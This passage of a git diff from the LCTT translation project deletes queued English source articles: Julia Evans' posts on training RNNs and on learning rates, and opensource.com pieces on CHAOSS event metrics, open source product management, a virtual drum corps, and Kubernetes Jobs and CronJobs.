with different sequence lengths, like (unsurprisingly) it takes longer to train it to memorize a sequence of length 20 than a sequence of length 5. - -### simplifying is nice - -I’m super happy that I got an RNN to do something that I actually understand! I feel pretty hopeful that on Monday I’ll be able to go back to the character RNN problem of trying to get the RNN to generate English words now that I have this simpler thing working. - --------------------------------------------------------------------------------- - -via: https://jvns.ca/blog/2020/11/20/day-10--training-an-rnn-to-count-to-three/ - -作者:[Julia Evans][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://jvns.ca/ -[b]: https://github.com/lujun9972 -[1]: https://gist.github.com/jvns/b8804fb9d0672ce147a28d22648b4bd7 -[2]: https://colab.research.google.com/gist/jvns/b8804fb9d0672ce147a28d22648b4bd7/rnn-123.ipynb diff --git a/sources/tech/20201120 How we develop success metrics for open source events.md b/sources/tech/20201120 How we develop success metrics for open source events.md deleted file mode 100644 index 392164e686..0000000000 --- a/sources/tech/20201120 How we develop success metrics for open source events.md +++ /dev/null @@ -1,98 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How we develop success metrics for open source events) -[#]: via: (https://opensource.com/article/20/11/chaoss-open-source-events) -[#]: author: (Neofytos Kolokotronis https://opensource.com/users/neofytosk) - -How we develop success metrics for open source events -====== -The CHAOSS App Ecosystem Working Group is establishing ways to measure -how well virtual and in-person events meet their goals. -![Metrics and a graph illustration][1] - -As many open source communities grow larger and older, they may face problems managing members' engagement. People turn towards metrics to understand large systems and prioritize resources, but there has not been a consensus set of metrics for understanding open source communities. - -The Community Health Analytics Open Source Software ([CHAOSS][2]) project, a Linux Foundation-sponsored community of industry professionals and academics, is working to solve this problem by defining metrics for open source projects. The CHAOSS project focused first on developing metrics for open source event organizers because open source communities often depend on events like hackathons, meetups, conferences, and user group meetings to grow their communities and work on important project updates. - -The [CHAOSS App Ecosystem Working Group][3], which developed the metrics for events and worked together on this article, is comprised of [members][4] who have organized and participated in many open source events. While we developed these metrics to help the GNOME and KDE communities, we believe they can help other open source event organizers create their own metrics strategy. We also hope that more people will be inspired by this work and join us to improve it. - -### How we began - -The CHAOSS App Ecosystem Working Group emerged from the [SCALE 18x][5] conference in March 2020, when CHAOSS and GNOME members began talking about how to measure the [Linux App Summit][6] (LAS) community, an event co-hosted by GNOME and KDE.  - -We realized that we did not have sufficient data to measure our progress towards LAS's goals, and that hindered our ability to make important decisions to support those goals. For LAS (and the whole Linux app ecosystem) to thrive, we recognized the need to be more data-driven in our approach. We also realized the importance of extending this mindset to other similarly organized communities. - -From our experience at [CHAOSScon][7], we found opportunities to partner with the CHAOSS community around open source metrics. Therefore, we organized ourselves under the CHAOSS project, which provides a platform for working on metrics. - -We chose the name App Ecosystem Working Group because one of the GNOME and KDE communities' primary goals is to grow the Linux app ecosystem. Although we had the GNOME and KDE communities in mind at the start, we are creating the metrics to help everyone involved in the effort to grow the Linux app ecosystem. - -We chose to begin with the event organizer use case because of the nature of events: Events tend to have clearly defined boundaries, with a set start and end date, a list of registered attendees, and activities like talks, presentations, and workshops. This clarity does not generally exist in open source projects and communities, where the various projects, contributors, and users are less often strictly defined. - -The GNOME and KDE communities both had events coming up in 2020, so we believed we could iterate faster using feedback gathered from the events we organized, separately and together. - -### Approach to data gathering - -The CHAOSS project uses the [goal-question-metric][8] (GQM) approach to gathering data. One problem with metrics is that often we try to measure everything without understanding how the data will be helpful. But data should help inform decisions. Therefore, the GQM approach starts with a list of high-level goals that are important to a particular persona. - -The goals are the community's strategic objectives. For each goal, we look at questions that help determine whether we are achieving the goal. Metrics then provide quantitative information that helps answer those questions. - -Before diving into metrics, the App Ecosystem Working Group brainstormed goals and the personas that those goals affect. We collected [17 different goals][9], spread across seven stakeholder personas, that a community or project ecosystem might have. - -We collected and curated these goals from community members' experience in major open source projects like GNOME and KDE. Although each community is different, we think most of these goals are relevant to and will help a wide variety of open source projects. - -### Metrics for event organizers - -The [full list of metrics for event organizers][10] focus on three goals that event organizers care about: - - * Attracting and retaining contributors - * Understanding company contributions to an event - * Ensuring events contribute towards diversity goals and closing skill gaps in the community - - - -We came up with 19 questions that event organizers have about how well they are doing in reaching these goals. The metrics are directly linked to these questions to give the event organizers actionable insights. - -### Privacy implications - -While this work was developed by and for the GNOME and KDE communities, we hope that the metrics will help other open source communities. - -While GNOME and KDE have not implemented the metrics yet (and do not yet have a timeline to do so), one known limitation is privacy concerns around data collection. Every geographic location has laws that may limit data collection, which open source and free software projects must take into account. - -Once GNOME and KDE implement these metrics in their communities, they plan to share the legal considerations they took into account. - -### Join us - -We are hopeful that these metrics will be useful to open source event organizers interested in integrating virtual and in-person events into their community-building and engagement strategies. - -If you'd like to participate in developing these metrics, we welcome your experience, insight, and voice! The CHAOSS App Ecosystem Working Group [meets biweekly][11]; please join us. - -You can also communicate with us asynchronously through our [GitHub repository][3]. For more information on other ways to contribute or connect with us, we encourage you to visit the [CHAOSS community participation page][12]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/chaoss-open-source-events - -作者:[Neofytos Kolokotronis][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/neofytosk -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/metrics_graph_stats_blue.png?itok=OKCc_60D (Metrics and a graph illustration) -[2]: https://chaoss.community/ -[3]: https://github.com/chaoss/wg-app-ecosystem -[4]: https://github.com/chaoss/wg-app-ecosystem#contributors -[5]: https://www.socallinuxexpo.org/scale/18x -[6]: https://linuxappsummit.org/ -[7]: https://chaoss.community/chaosscon-2020-eu/ -[8]: https://en.wikipedia.org/wiki/GQM -[9]: https://docs.google.com/document/d/1ghREXIO5C9PLiwXMtouOR4AjPLGz9pD34LIxO8N2-xo/edit -[10]: https://github.com/chaoss/wg-app-ecosystem/blob/master/event-organizers.md -[11]: https://github.com/chaoss/wg-app-ecosystem#workflow -[12]: https://chaoss.community/participate diff --git a/sources/tech/20201120 What do open source product teams do.md b/sources/tech/20201120 What do open source product teams do.md deleted file mode 100644 index c227ff3b8e..0000000000 --- a/sources/tech/20201120 What do open source product teams do.md +++ /dev/null @@ -1,113 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (What do open source product teams do?) -[#]: via: (https://opensource.com/article/20/11/open-source-product-teams) -[#]: author: (Scott McCarty https://opensource.com/users/fatherlinux) - -What do open source product teams do? -====== -Product managers play an essential role in creating differentiated value -that customers will pay for. -![a checklist for a team][1] - -If you go to any hip product management conference, you'll hear about product teams. At a minimum, a product team has a product manager, but it often includes roles in marketing, technical architecture, and even user experience (UX). Previous articles in this series have covered [open source as a supply chain model][2] and [defining products in the open source software supply chain][3], and this article specifically focuses on the role of product management within the product team. - -### Who's on the product team? - -Product managers and product marketing managers are the two most common product management roles, but product management can be further split into any number of roles, including competitive analysis, business strategy, sales enablement, revenue growth, content creation, sales tools, and more. With a very large product, even the product management role may be broken up into separate roles. You may even hear titles like technical marketing manager, product evangelist, and business owner, not to mention people-management roles for groups of individual contributor roles. For the purpose of this article, I refer to all of these roles collectively as "product management." - -Product management is a [tough career][4], and there are many frameworks for learning and understanding it. One of the oldest and most mature is the [Pragmatic Framework][5], which defines 37 different areas of responsibility. The Pragmatic Framework is a bit too complex for this article. Instead, I'll emphasize a subset of tasks that are applicable in open source products: - - * **Market problems:** Talk to customers and figure out what they need - * **Product roadmap:** Determine what features will be added to the product and when - * **Build:** Invest in building technology in-house - * **Buy:** Purchase technology from another company - * **Partner:** Deliver a solution to a customer by leveraging a partner's technology - * **Pricing:** Determine the price - * **Packaging:** Determine what's included in the price - * **Channel training:** Train the salespeople so that they can educate potential customers - - - -The rest of this series will look into how these different roles affect and are affected by an open source supply chain. - -### Build, buy, or partner? - -Which is more important, the business need or the technology? This is probably the classic paradox of business strategy. The answer is neither. Execution is what matters. The product management team is tasked with creating and retaining customers. This can be done by building technology, buying technology, or partnering to acquire technology or services that, when combined, provide value to customers. For example, if customers need an encryption feature that's missing from a software product, the product manager can: - - * Ask engineering to build it, test it, document it, and maintain it. - * Influence the executive team to buy a company or software package that provides it. (However, less than 2% of product managers have access to P&L data, [much less the budget to buy companies][6].) - * Deliver it to the customer through a verified partner. If a partner already provides a solution, this is the quickest way to deliver a solution, but it could raise the product's price or require the customer to purchase additional software. - - - -With traditional proprietary software products and services, this could mean building, buying, or partnering for a foundational piece of software, like a database. With products built on open source software, this can be thought of as choosing an open source project as a supplier. The purchase is made by contributing engineering time, code, documentation, testing, infrastructure, etc. Because open source is not free as in beer, somebody has to write it, test it, document it, etc. It's very difficult to provide value to customers if you don't contribute upstream. - -This combination of built, bought, and partner-delivered capabilities is what differentiates a product, whether open source or proprietary. Proprietary licensing does not differentiate a product. Let me repeat: _proprietary licensing does not differentiate a product_. People confuse proprietary licensing with providing value to a customer. Proprietary licenses are a perfectly valid and useful way to monetize users, but they do not provide customers with more value. Licenses do not create value; they help extract it. If you believe [open core][7] or hybrid licensing are the only way to make money with open source, read this paragraph five times until it sinks in (hint, focus on creating value). - -Both open source and proprietary products must create value. Customers buy capabilities as part of a solution (i.e., new things they couldn't do before). If product management spends more brainpower on delivering capabilities than determining what can be held back with proprietary licensing, the customer will be happier, more loyal, and receive more value. - -### Types of products built on open source - -Most modern software products are delivered by adding new value to the value provided by the open source supply chain. This could include extra downstream testing, documentation, quality engineering, performance testing, security testing, industry certifications, a partner ecosystem, training, professional services, or even extra proprietary code not included upstream (open core). By considering this new model, many of the old debates about open source can be clarified: - - * **Open source products:** The entire supply chain of code that goes into the product is open source. This can include multiple upstream projects like enterprise Linux distributions or sophisticated products like [Red Hat Satellite][8] or [OpenShift][9]. - * **Open core products:** Some of the supply chain of code that goes into the product is open source while other parts are proprietary. This mix of licensing can be used to control pricing, packaging, and distribution. It can also have the downside of putting engineering contributions to the product at odds with the open source supply chain (see _[Goodbye open core—good riddance to bad rubbish][10]_). - * **Paid software-as-a-service products:** The supply chain of SaaS products can be made up of open source languages and libraries, while the business logic built in-house is often proprietary. This allows product managers to tightly control pricing and packaging through very measurable distribution channels. There are many examples of online companies using this model, including customer resource management platforms, databases, caching layers, identity management, document management, and office and email solutions. - * **Free SaaS products:** The supply chain of free SaaS products (e.g., Facebook, Google Search, YouTube, etc.) is essentially the same as paid SaaS products. Instead of tightly controlling the pricing and packaging, the product is monetized through user data or advertisements. - * **Cloud providers vs. software vendors:** The recent interest in and creation of new quasi-open source licenses like the [Server Side Public License][11], [Redis Source Available License][12], or [PolyForm][13] are better understood by thinking of open source as a supply chain and SaaS as a pricing and packaging model. These new licenses exert some control on how buyers from the open source supply chain can price and package their products (e.g., limiting how a large cloud provider can deliver a service built on freely available code and binaries). This is not unheard of, even in traditional manufacturing supply chains. It's a defensive play because these licenses don't deliver new value to customers. - * **Open source as awareness:** In this model, the buzz around the upstream project is used to deliver awareness for the products built on it. In marketing, awareness of a technology is a critical first step for having a product's customers build on it. For example, if users are aware of and believe in Kubernetes, they are potential customers for products built on Kubernetes; when people looking for a Kubernetes solution hear that your product is built on Kubernetes, they immediately become potential customers. In a way, this is similar to Lenovo laptops advertising "Intel inside" or [Arm & Hammer laundry detergent advertising OxiClean][14] as part of their supply chain. If you like OxiClean, you'll love Arm & Hammer detergent. - * **Open core as marketing:** This goes a step further than open source as awareness. A single vendor almost always controls the upstream open source projects that go into open core products. They attempt to use the supply chain, often unsuccessfully, to generate market awareness in what's perceived to be free or inexpensive marketing and lead generation. Open core products advertise that they include the open source project to provide core value propositions. Going back to the Arm & Hammer example: If you like open source, you'll love our proprietary software with open source goodness inside. - - - -### The supply chain - -Continuing the analogy from my [last article][3], when General Motors develops a car, the product team doesn't tell Bosch what fuel injectors they want. They tell Bosch how much power the new vehicle will generate, how much towing capacity it needs to have, etc. They give Bosch a set of technical requirements. Then Bosch provides GM with a fuel-injection solution that not only includes the fuel injectors but also the wiring harnesses and perhaps even software that makes it run. It's cheaper and often better quality to rely on a supply chain for components that are shared among virtually every vehicle in the marketplace. - -Like an automobile, the sum of a software product is greater than the individual parts. When a manufacturer delivers a car, it's more than the braking, steering, power plant, infotainment system, financing, and mechanical service program. It has an associated brand, build quality, reliability, and an experience. Most of the parts aren't differentiated between vendors. Software products, especially ones built on an open source supply chain, are no different. Product management needs to differentiate their products from the underlying software components in the supply chain. The value of a software product is a layer of differentiation built on top of a supply chain of dependencies. This value is what product management must focus on. - -### Differentiated value - -Product management is not about picking and choosing what bugs are fixed upstream or downstream. It's not about holding back enough value in the open source project so that users purchase the product. It's not about coming up with special licenses to monetize an open source project's user base. It's about creating differentiated value that customers will pay for. It's about listening to their needs, internalizing them, and knowing them intimately. It's about influencing a supply chain, switching supply chains, and building a partner ecosystem that gives your product gravity. - -Product managers who think about differentiated value on top of an open source supply chain can easily answer the following questions: - - * As an open source product manager, should I attend conferences for the upstream projects? _Sure, because it's like attending a trade show for one of your suppliers._ - * How should product management handle a situation where the upstream project isn't delivering what their customers need? _Add more investment. If the open source community is healthy, it will produce what you need._ - * What should product management do when an upstream community is struggling with contributions or is unhealthy? _The same thing that a manufacturer would do if their supplier lost contracts with their two biggest competitors because they were failing: switch suppliers._ - - - -In the next article, I will delve into the distinct value created in products, focusing on the value that upstream projects can't provide. If product management is done well, there is no unnatural tension between upstream suppliers and downstream products. When done right, both the upstream projects and downstream products create unique and differentiated value that satisfies the needs of users and customers alike. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/open-source-product-teams - -作者:[Scott McCarty][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/fatherlinux -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/checklist_hands_team_collaboration.png?itok=u82QepPk (a checklist for a team) -[2]: https://opensource.com/article/20/10/open-source-supply-chain -[3]: https://opensource.com/article/20/10/defining-product-open-source -[4]: https://www.mindtheproduct.com/forget-product-management-tough-career/ -[5]: https://www.pragmaticinstitute.com/framework -[6]: http://developmentcorporate.com/2019/04/02/the-myth-of-the-product-management-pl/ -[7]: https://medium.com/open-consensus/2-open-core-definition-examples-tradeoffs-e4d0c044da7c -[8]: https://en.wikipedia.org/wiki/Satellite_(software) -[9]: https://en.wikipedia.org/wiki/OpenShift -[10]: https://medium.com/@adamhjk/goodbye-open-core-good-riddance-to-bad-rubbish-ae3355316494 -[11]: https://www.mongodb.com/licensing/server-side-public-license -[12]: https://redislabs.com/wp-content/uploads/2019/03/Redis-Source-Available-License-PDF-2.pdf -[13]: https://polyformproject.org/licenses/ -[14]: https://www.armandhammer.com/laundry/liquid-laundry-detergent/liquid-laundry-detergent/plus-oxiclean-with-fade-defense-liquid-laundry-detergent diff --git a/sources/tech/20201121 Open source brings musicians together virtually.md b/sources/tech/20201121 Open source brings musicians together virtually.md deleted file mode 100644 index 943f21e8ad..0000000000 --- a/sources/tech/20201121 Open source brings musicians together virtually.md +++ /dev/null @@ -1,67 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Open source brings musicians together virtually) -[#]: via: (https://opensource.com/article/20/11/open-source-drum-bugle-corps) -[#]: author: (Vicki Walker https://opensource.com/users/vicki-walker) - -Open source brings musicians together virtually -====== -The open source ethos is embedded in many areas of life, including music -and art. -![Drums ][1] - -When the COVID-19 pandemic began canceling live music events in spring 2020, it wasn't just the big arena shows, music festivals, and small, local venues that suffered—the big annual marching band competition leagues, like [Drum Corps International][2] (DCI) and [WGI World Championships][3], were also called off. This was a huge disappointment for the thousands of musicians and band directors who were already preparing for the spring and summer competition season. But the members of the [Drumcorps subreddit][4] saw it as an opportunity to take drum corps virtual. - -The [Open Source Drum and Bugle Corps][5] (OSDBC) is one such organization bringing open source to drum corps. The group was founded on the principles of openness, inclusiveness, and collaboration. And, like most things in open source, OSDBC was created to solve a problem. - -OSDBC launched in early April 2020, in the early weeks of US pandemic-related shutdowns, and immediately had 100 members in the group's Discord; within half a year, its membership approached 400 brass and percussion players across the United States. To date, the organization has released two performances and is working on its third. - -All of the content OSDBC produces—including guides, documentation, sheet music, clicktracks, and virtual performances—is released under [Creative Commons][6] licenses so that other groups can replicate the project if they wish. - -### Who's involved? - -Most OSDBC members are professional musicians, teachers, and high school and college students. Because the drum corps community is relatively small, there's a strong possibility that students and their teachers might be participating together on the same project, leading to uncomfortableness or even potential legal issues relating to students and teachers being in the same group chats. Therefore, OSDBC members work anonymously, wearing hats and sunglasses in their performance videos, and many use pseudonyms within the group. It's an imperfect solution, but it does provide "plausible deniability" about someone's identity, says one member, a high school senior who serves on the project's all-volunteer staff. - -Anonymity also levels the playing field among musicians with different levels of experience, which helps open up collaboration and personal growth opportunities, including the ability to ask for help without fear of embarrassment or judgment. - -Members come from multiple disciplines—musicians, artists, composers, and audio engineers—volunteering their time and talent to produce multimedia content. Because everyone is a volunteer, there is no cost to be involved in the project. - -### How it works - -Unlike a typical drum corps, OSDBC can't perform together in person, first, because of the pandemic, and second because of the members' geographical distribution. Selecting a composition is a community effort, with votes taken both to pick a public domain musical piece to play and then to choose a composer (based on members' original compositions of the selected piece). The winner of the composition contest distributes sheet music, clicktracks, and advice for playing the piece, and the audio and video editors share [submission guidelines][7] about how to record and submit videos for inclusion in the project. Approximately a fifth of the members have submitted performances for each of the first three projects. - -Once the submission deadline has passed and all the performances are collected, the design team begins to mix the individual videos into a cohesive performance. - -Because editing a performance is a significant amount of work that requires specialized audio and video production knowledge and tools, the work is distributed among section leaders (e.g., trumpets, low brass, percussion, etc.). They use a mix of open source and proprietary software, chiefly [Audacity][8], Reaper, and FL Studios, to produce the videos; while open source is the preference, the members must use the applications that they are familiar with and have access to at their universities or jobs. - -### Get involved - -OSDBC plans to continue working together even after the COVID-19 pandemic. Given the uncertainty around the 2021 drum corps season, with WGI planning a virtual season and DCI weighing the feasibility of an abbreviated season, OSDBC provides a valuable option for the tight-knit community to collaborate and make music together. - -The project eagerly welcomes new performers, organizers, arrangers, and others. If you would like to get involved, visit the [website][5] and join the project's [Discord][9] for updated information and opportunities to participate in the next project. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/open-source-drum-bugle-corps - -作者:[Vicki Walker][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/vicki-walker -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/drums-beat.png?itok=vhr6E_f1 (Drums ) -[2]: https://www.dci.org/ -[3]: https://www.wgi.org/ -[4]: https://www.reddit.com/r/drumcorps/ -[5]: https://opensourcedbc.org/ -[6]: https://creativecommons.org/ -[7]: https://opensourcedbc.org/info-for-members/ -[8]: https://opensource.com/education/16/9/audacity-classroom -[9]: https://discord.gg/6QmCSK3 diff --git a/sources/tech/20201123 A beginner-s guide to Kubernetes Jobs and CronJobs.md b/sources/tech/20201123 A beginner-s guide to Kubernetes Jobs and CronJobs.md deleted file mode 100644 index 21af972870..0000000000 --- a/sources/tech/20201123 A beginner-s guide to Kubernetes Jobs and CronJobs.md +++ /dev/null @@ -1,233 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (A beginner's guide to Kubernetes Jobs and CronJobs) -[#]: via: (https://opensource.com/article/20/11/kubernetes-jobs-cronjobs) -[#]: author: (Mike Calizo https://opensource.com/users/mcalizo) - -A beginner's guide to Kubernetes Jobs and CronJobs -====== -Use Jobs and CronJobs to control and manage Kubernetes pods and -containers. -![Ships at sea on the web][1] - -[Kubernetes][2] is the default orchestration engine for containers. Its options for controlling and managing pods and containers include: - - 1. Deployments - 2. StatefulSets - 3. ReplicaSets - - - -Each of these features has its own purpose, with the common function to ensure that pods run continuously. In failure scenarios, these controllers either restart or reschedule pods to ensure the services in the pods continue running. - -As the [Kubernetes documentation explains][3], a Kubernetes Job creates one or more pods and ensures that a specified number of the pods terminates when the task (Job) completes. - -Just like in a typical operating system, the ability to perform automated, scheduled jobs without user interaction is important in the Kubernetes world. But Kubernetes Jobs do more than just run automated jobs, and there are multiple ways to utilize them through: - - 1. Jobs - 2. CronJobs - 3. Work queues (this is beyond the scope of this article) - - - -Sounds simple right? Well, maybe. Anyone who works on containers and microservice applications knows that some require services to be transient so that they can do specific tasks for applications or within the Kubernetes clusters. - -In this article, I will go into why Kubernetes Jobs are important, how to create Jobs and CronJobs, and when to use them for applications running on the Kubernetes cluster. - -### Differences between Kubernetes Jobs and CronJobs - -Kubernetes Jobs are used to create transient pods that perform specific tasks they are assigned to. [CronJobs][4] do the same thing, but they run tasks based on a defined schedule. - -Jobs play an important role in Kubernetes, especially for running batch processes or important ad-hoc operations. Jobs differ from other Kubernetes controllers in that they run tasks until completion, rather than managing the desired state such as in Deployments, ReplicaSets, and StatefulSets. - -### How to create Kubernetes Jobs and CronJobs - -With that background in hand, you can start creating Jobs and CronJobs. - -#### Prerequisites - -To do this exercise, you need to have the following: - - 1. A working Kubernetes cluster; you can install it with either: - * [CentOS 8][5] - * [Minikube][6] - 2. The [kubectl][7] Kubernetes command line - - - -Here is the Minikube deployment I used for this demonstration: - - -``` -$ minikube version -minikube version: v1.8.1 - -$ kubectl cluster-info -Kubernetes master is running at -KubeDNS is running at - -$ kubectl get nodes -NAME       STATUS   ROLES    AGE   VERSION -minikube   Ready    master   88s   v1.17.3 -``` - -#### Kubernetes Jobs - -Just like anything else in the Kubernetes world, you can create Kubernetes Jobs with a definition file. Create a file called `sample-jobs.yaml` using your favorite editor. - -Here is a snippet of the file that you can use to create an example Kubernetes Job: - - -``` -apiVersion: batch/v1          ## The version of the Kubernetes API -kind: Job                     ## The type of object for jobs -metadata: - name: job-test -spec:                        ## What state you desire for the object - template: -   metadata: -     name: job-test -   spec: -     containers: -     - name: job -       image: busybox                  ##  Image used -       command: ["echo", "job-test"]   ##  Command used to create logs for verification later -     restartPolicy: OnFailure          ##  Restart Policy in case container failed -``` - -Next, apply the Jobs in the cluster: - - -``` -`$ kubectl apply -f sample-jobs.yaml` -``` - -Wait a few minutes for the pods to be created. You can view the pod creation's status: - - -``` -`$ kubectl get pod –watch` -``` - -After a few seconds, you should see your pod created successfully: - - -``` -$ kubectl get pods -  NAME                  READY   STATUS          RESTARTS         AGE -  job-test                      0/1     Completed       0            11s -``` - -Once the pods are created, verify the Job's logs: - - -``` -`$ kubectl logs job-test job-test` -``` - -You have created your first Kubernetes Job, and you can explore details about it: - - -``` -`$ kubectl describe job job-test` -``` - -Clean up the Jobs: - - -``` -`$ kubectl delete jobs job-test` -``` - -#### Kubernetes CronJobs - -You can use CronJobs for cluster tasks that need to be executed on a predefined schedule. As the [documentation explains][8], they are useful for periodic and recurring tasks, like running backups, sending emails, or scheduling individual tasks for a specific time, such as when your cluster is likely to be idle. - -As with Jobs, you can create CronJobs via a definition file. Following is a snippet of the CronJob file `cron-test.yaml`. Use this file to create an example CronJob: - - -``` -apiVersion: batch/v1beta1            ## The version of the Kubernetes API -kind: CronJob                        ## The type of object for Cron jobs -metadata: -  name: cron-test -spec: -  schedule: "*/1 * * * *"            ## Defined schedule using the *nix style cron syntax -  jobTemplate: -    spec: -      template: -        spec: -          containers: -          - name: cron-test -            image: busybox            ## Image used -            args: -           - /bin/sh -            - -c -            - date; echo Hello this is Cron test -          restartPolicy: OnFailure    ##  Restart Policy in case container failed -``` - -Apply the CronJob to your cluster: - - -``` -$ kubectl apply -f cron-test.yaml - cronjob.batch/cron-test created -``` - -Verify that the CronJob was created with the schedule in the definition file: - - -``` -$ kubectl get cronjob cron-test - NAME        SCHEDULE      SUSPEND   ACTIVE   LAST SCHEDULE   AGE - cron-test   */1 * * * *   False     0        <none>          10s -``` - -After a few seconds, you can find the pods that the last scheduled job created and view the standard output of one of the pods: - - -``` -$ kubectl logs cron-test-1604870760 -  Sun Nov  8 21:26:09 UTC 2020 -  Hello from the Kubernetes cluster -``` - -You have created a Kubernetes CronJob that creates an object once per execution based on the schedule `schedule: "*/1 * * * *"`. Sometimes the creation can be missed because of environmental issues in the cluster. Therefore, they need to be [idempotent][9]. - -### Other things to know - -Unlike deployments and services in Kubernetes, you can't change the same Job configuration file and reapply it at once. When you make changes in the Job configuration file, you must delete the previous Job from the cluster before you apply it. - -Generally, creating a Job creates a single pod and performs the given task, as in the example above. But by using completions and [parallelism][10], you can initiate several pods, one after the other. - -### Use your Jobs - -You can use Kubernetes Jobs and CronJobs to manage your containerized applications. Jobs are important in Kubernetes application deployment patterns where you need a communication mechanism along with interactions between pods and the platforms. This may include cases where an application needs a "controller" or a "watcher" to complete tasks or needs to be scheduled to run periodically. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/kubernetes-jobs-cronjobs - -作者:[Mike Calizo][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/mcalizo -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/kubernetes_containers_ship_lead.png?itok=9EUnSwci (Ships at sea on the web) -[2]: https://kubernetes.io/ -[3]: https://kubernetes.io/docs/concepts/workloads/controllers/job/ -[4]: https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/ -[5]: https://phoenixnap.com/kb/how-to-install-kubernetes-on-centos -[6]: https://minikube.sigs.k8s.io/docs/start/ -[7]: https://kubernetes.io/docs/reference/kubectl/kubectl/ -[8]: https://v1-18.docs.kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/ -[9]: https://en.wikipedia.org/wiki/Idempotence -[10]: https://kubernetes.io/docs/concepts/workloads/controllers/job/#parallel-jobs diff --git a/sources/tech/20201123 Day 11- learning about learning rates.md b/sources/tech/20201123 Day 11- learning about learning rates.md deleted file mode 100644 index 12be99f3be..0000000000 --- a/sources/tech/20201123 Day 11- learning about learning rates.md +++ /dev/null @@ -1,105 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Day 11: learning about learning rates) -[#]: via: (https://jvns.ca/blog/2020/11/23/day-11--learning-about-learning-rates/) -[#]: author: (Julia Evans https://jvns.ca/) - -Day 11: learning about learning rates -====== - -Hello! - -On Friday I trained an RNN to count to 3 (1 2 3 1 2 3 1 2 3), thanks to some great advice from another Recurser. I figured that once I got that working, I could then extend that and train the same RNN on a bunch of Shakespearean text to get it to generate vaguely Shakespeare-y text. - -But on Friday I couldn’t get that to work! I was puzzled by this, but today I figured out what was happening. - -### what’s a learning rate? - -First, here’s a very short “deep learning for math majors” explanation of how training for a deep learning model works in general. I wrote this to help consolidate my own understanding on Friday. - - * The model takes the training data and weights and outputs a single number, the output of the loss function - * The model’s “weights” are the parameters of all the matrices in the model, like if there’s a 64 x 64 matrix then there are 4096 weights - * For optimization purposes, this function should be thought of as a function of the weights (not the training data), since the weights are going to change and the function isn’t - * Training is basically gradient descent. You take the derivative of the function (aka gradient), with respect to the weights of all the matrices/various functions in the model - * The way you take this derivative is using the chain rule, the algorithm for applying the chain rule to a neural network is called “backpropagation” - * Then you adjust the parameters by a multiple of the gradient (since this is gradient descent). The multiple of the gradient that you use is called the **learning rate** – it’s basically `parameters -= learning_rate * gradient` - * machine learning model training is a lot like general continuous function optimization in that finding the “right” step size to do gradient descent is basically impossible so there are a lot of heuristics for picking step learning rates that will work. One of these heuristics is called [Adam][1] - - - -### if you set your learning rate too high, the model won’t learn anything - -So back to our original problem: when I was training my model to generate Shakespeare, I noticed that my model wasn’t learning anything! By “not learning anything”, I mean that the value of the loss function was not going down over time. - -I eventually figured out that this was because my learning rate was too high! It was 0.01 or something, and changing it to more like 0.002 resulted in more learning progress. Hooray! - -I started to generate text like this: - -``` -erlon, w oller. is. d y ivell iver ave esiheres tligh? e ispeafeink -teldenauke'envexes. h exinkes ror h. ser. sat ly. spon, exang oighis yn, y -hire aning is's es itrt. for ineull ul'cl r er. s unt. y ch er e s out twiof -uranter h measaker h exaw; speclare y towessithisil's aches? s es, tith s aat -``` - -which is a big improvement over what I had previously, which was: - -``` -kf ;o 'gen '9k ',nrhna 'v ;3; ;'rph 'g ;o kpr ;3;tavrnad 'ps ;]; ;];oraropr -;9vnotararaelpot ;9vr ;9 -``` - -But then training stalled again, and I felt like I could still do better. - -### resetting the state of the optimizer is VERY BAD - -It turned out that the reason training had stalled the second time was that my code looked like this: - -``` -for i in range(something): - optimizer = torch.optim.Adam(rnn.parameters()) - ... do training things -``` - -I’d written the code this way because I didn’t realize that the state of the optimizer (“Adam”) was important, so I just reset it sometimes because it seemed convenient at the time. - -It turns out that the 